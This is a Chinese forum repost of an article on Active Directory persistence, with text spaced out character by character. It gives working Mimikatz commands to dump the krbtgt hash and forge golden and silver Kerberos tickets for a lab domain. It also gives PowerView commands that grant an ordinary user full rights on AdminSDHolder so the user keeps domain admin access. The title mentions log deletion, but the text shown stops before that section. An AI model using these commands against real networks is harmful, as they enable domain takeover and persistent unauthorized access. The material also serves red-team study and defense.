搜索

[18617] 2021-08-14_内网渗透｜域内持久化与Windows日志删除

文档创建者：s7ckTeam
浏览次数：38
最后更新：2025-01-18
2021-08-14_内网渗透｜域内持久化与Windows日志删除 内 网 渗 透 ｜ 域 内 持 久 化 与 W i n d o w s 日 志 删 除 原 创   1 1 c c a a b   H A C K 学 习 呀   2 0 2 1 - 0 8 - 1 4 收 录 于 话 题 # w i n d o w s   , 2 # 内 网 渗 透   , 2 0 # 权 限 维 持   , 4 0 x 0 1   金 票 金 票 可 以 使 用 k r b t g t 的 N T L M   h a s h 创 建 作 为 任 何 用 户 的 有 效 T G T 。 要 伪 造 黄 金 票 据 的 前 提 是 知 道 域 的 S I D 和 k r b t g t 账 户 的 h a s h 或 者 A E S - 2 5 6 值 。 1 . 1   收 集 收 集 k r b t g t 密 码 信 息 密 码 信 息 p r i v i l e g e : : d e b u g l s a d u m p : : l s a   / i n j e c t   / n a m e : k r b t g t
得 到 k r b t g t 的 h a s h ： 域 s i d 值 ： 1 . 2   金 票 利 用 金 票 利 用 使 用 m i m i k a t z 伪 造 k e r b e r o s 票 证 c 7 3 c a e d 3 b c 6 f 0 a 2 4 8 e 5 1 d 3 7 b 9 a 8 6 7 5 f a S - 1 - 5 - 2 1 - 1 5 1 8 7 7 2 1 8 - 3 6 6 6 2 6 8 5 1 7 - 4 1 4 5 4 1 5 7 1 2
生 成 生 成 g o l d . k r i b i 可 以 看 到 没 有 任 何 票 证 。 导 入 导 入 g o l d . k r i b i 成 功 导 入 a d m i n i s t r a t o r 票 据 。 m i m i k a t z   " k e r b e r o s : : g o l d e n   / d o m a i n : r e d t e a m . l o c a l   / s i d : S - 1 - 5 - 2 1 - 1 5 1 8 7 7 2 1 8 - 3 6 6 6 2 6 8 5 1 7 - 4 1 4 5 4 1 5 7 1 2 / k r b t g t : c 7 3 c a e d 3 b c 6 f 0 a 2 4 8 e 5 1 d 3 7 b 9 a 8 6 7 5 f a   / u s e r : a d m i n i s t r a t o r / t i c k e t : g o l d . k i r b i " k e r b e r o s : : p t t   C : U s e r s j a c k D e s k t o p g o l d . k i r b i
可 以 通 过 事 件 管 理 器 查 看 到 是 以 a d m i n i s t r a t o r 来 登 录 的 0 x 0 2   银 票 银 票 如 果 我 们 拥 有 服 务 的 h a s h ， 就 可 以 给 自 己 签 发 任 意 用 户 的 T G S 票 据 。 金 票 是 伪 造 T G T 可 用 于 访 问 任 何 K e r b e r o s 服 务 ， 而 银 票 是 伪 造 T G S ， 仅 限 于 访 问 针 对 特 定 服 务 器 的 任 何 服 务 。 这 里 使 用 C I F S 服 务 ， 该 服 务 是 w i n d o w s 机 器 之 间 的 文 件 共 享 。 2 . 1   获 取 获 取 s i d w h o a m i   / u s e r
2 . 2   导 出 服 务 账 号 的 导 出 服 务 账 号 的 N T L M   H a s h 2 . 3   创 建 银 票 创 建 银 票 p r i v i l e g e : : D e b u g s e k u r l s a : : l o g o n p a s s w o r d s
k e r b e r o s : : g o l d e n   / d o m a i n : r e d t e a m . l o c a l / s i d : S - 1 - 5 - 2 1 - 1 5 1 8 7 7 2 1 8 - 3 6 6 6 2 6 8 5 1 7 - 4 1 4 5 4 1 5 7 1 2 / t a r g e t : D C . r e d t e a m . l o c a l
p s e x e c 获 取 D C 机 器 c m d 0 x 0 3   A d m i n S D H o l d e r 组 组 A d m i n S D H o l d e r 是 一 个 特 殊 的 A D 容 器 ， 具 有 一 些 默 认 安 全 权 限 ， 用 作 受 保 护 A D 账 户 和 组 的 模 板 ， 当 我 们 获 取 到 域 控 权 限 ， 就 可
以 通 过 授 予 该 用 户 对 容 器 进 行 滥 用 ， 使 该 用 户 成 为 域 管 。 默 认 情 况 下 ， 该 组 的   A C L   被 复 制 到 所 有 “ 受 保 护 组 ” 中 。 这 样 做 是 为 了 避 免 有 意 或 无 意 地 更 改 这 些 关 键 组 。 但 是 ， 如 果 攻 击 者 修 改 了 A d m i n S D H o l d e r 组 的   A C L ， 例 如 授 予 普 通 用 户 完 全 权 限 ， 则 该 用 户 将 拥 有 受 保 护 组 内 所 有 组 的 完 全 权 限 （ 在 一 小 时 内 ） 。 如 果 有 人 试 图 在 一 小 时 或 更 短 的 时 间 内 从 域 管 理 员 中 删 除 此 用 户 （ 例 如 ） ， 该 用 户 将 回 到 组 中 。 其 中 A d m i n i s t r a t o r s 、 D o m a i n   A d m i n s 、 E n t e r p r i s e   A d m i n s 组 对 A d m i n S D H o l d e r 上 的 属 性 具 有 写 权 限 ， 受 保 护 的 a d 账 户 和 组 的 具 备 a d m i n c o u n t 属 性 值 为 1 的 特 征 。 3 . 1   使 用 使 用 p o w e r v i e w 查 询 查 询 查 询 a d 保 护 的 域 的 用 户 在 s e r v e r 2 0 0 0 中 引 入 ， 默 认 包 含 如 下 的 组 ： A d m i n i s t r a t o r s D o m a i n A d m i n s A c c o u n t O p e r a t o r s B a c k u p O p e r a t o r s D o m a i n C o n t r o l l e r s E n t e r p r i s e A d m i n s P r i n t O p e r a t o r s R e p l i c a t o r R e a d - o n l y   D o m a i n C o n t r o l l e r s S c h e m a A d m i n s S e r v e r O p e r a t o r s G e t - N e t U s e r - A d m i n C o u n t | s e l e c t   s a m a c c o u n t n a m e
查 询 域 中 受 a d 保 护 的 所 有 组 3 . 2   使 用 使 用 A c t i v e D i r e c t o r y 查 询 a d 保 护 的 域 中 所 有 的 用 户 和 组 G e t - n e t g r o u p   - A d m i n C o u n t |   s e l e c t   n a m e I m p o r t - M o d u l e A c t i v e D i r e c t o r y G e t - A D O b j e c t - L D A P F i l t e r " ( & ( a d m i n c o u n t = 1 ) ( | ( o b j e c t c a t e g o r y = p e r s o n ) ( o b j e c t c a t e g o r y = g r o u p ) ) ) " | s e l e c t   n a m e
3 . 3   添 加 用 户 添 加 用 户 添 加 j a c k 用 户 对 其 有 完 全 控 制 权 限 。 然 后 验 证 下 ， 这 里 的 s i d 为 j a c k 用 户 的 。 A d d - D o m a i n O b j e c t A c l - T a r g e t I d e n t i t y A d m i n S D H o l d e r - P r i n c i p a l I d e n t i t y   j a c k   - R i g h t s A l l G e t - D o m a i n O b j e c t A c l   a d m i n s d h o l d e r   |   ? { $ _ . S e c u r i t y I d e n t i f i e r - m a t c h   " S - 1 - 5 - 2 1 - 1 5 1 8 7 7 2 1 8 - 3 6 6 6 2 6 8 5 1 7 - 4 1 4 5 4 1 5 7 1 2 - 1 1 0 6 " }   |   s e l e c t   o b j e c t d n , A c t i v e D i r e c t o r y R i g h t s   | s o r t   - U n i q u e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理